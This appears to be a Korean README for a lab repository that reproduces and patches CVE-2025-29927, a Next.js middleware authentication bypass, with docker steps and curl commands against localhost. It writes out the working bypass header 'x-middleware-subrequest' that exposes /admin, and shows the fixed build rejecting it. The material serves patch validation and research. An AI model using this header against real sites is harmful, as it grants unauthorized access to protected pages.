
CVE-2025-29927 취약점의 재현 및 수정.
CVE-2025-29927 취약점의 재현 및 수정.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
vulnerable/ 디렉토리에는 공격에 취약한 버전의 애플리케이션이 있습니다. fixed/ 디렉토리에는 취약점을 수정한 최소 버전으로 업그레이드된 애플리케이션이 있습니다.
⚠️ 중요: 이 예제들은 방어자, 연구자, 패치 검증 팀을 위해 제공됩니다. 이러한 이미지를 공용 또는 프로덕션 네트워크에서 실행하지 마십시오. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 테스트하세요.
CVE-2025-29927 취약점의 재현.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
그런 다음 관리자 페이지에 접근할 수 있어야 하는 다음 명령을 실행합니다.
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
CVE-2025-29927 취약점의 수정.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
그런 다음 이제 역시 로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
이 저장소는 l1uk/nextjs-middleware-exploit을 기반으로 하지만 Next.js 15.x 버전에 맞게 조정되었습니다.